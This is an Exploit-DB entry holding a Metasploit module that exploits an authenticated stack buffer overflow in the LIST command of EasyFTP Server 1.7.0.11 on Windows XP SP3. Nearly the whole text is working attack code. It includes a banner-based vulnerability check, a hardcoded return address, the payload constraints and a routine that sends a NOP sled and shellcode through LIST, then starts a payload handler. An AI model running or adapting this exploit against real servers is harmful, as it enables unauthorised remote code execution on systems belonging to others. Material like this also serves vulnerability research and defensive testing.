EasyFTP Server 1.7.0.11 - 'LIST' (Authenticated) Remote Buffer Overflow (Metasploit)

##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : 1.7.0.11
# Tested on : Windows XP SP3 Version 2002
# MFR  & VAS TEAM : just testing howto convert exploits to metasploit modules.
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
					credit goes to Karn Ganeshan.	
			},
			'Author'         =>
				[
					'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version
					'MFR' # convert to metasploit format.
				],
			'License'        => MSF_LICENSE,
			'Version'        => 'Version: 1',
			'References'     =>
				[
					[ 'EDB', '14400' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 268,
					'BadChars' => "\x00\x0a\x0d\x2f\x5c", 
					'DisableNops' => false
				},
			'Platform'	 => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 - Version 2002',   { 'Ret' => 0x7e49732b } ],
				],
			'DisclosureDate' => 'July 5 2010',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /BigFoolCat/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		buf = ''
		buf << make_nops(268 - payload.encoded.length - 4)
		print_status("Adding the payload...")
		buf << payload.encoded
		buf << [target.ret].pack('V')

		print_status("Sending exploit buffer...")
		send_cmd( ['LIST', buf] , false) 

		handler
		disconnect
	end

end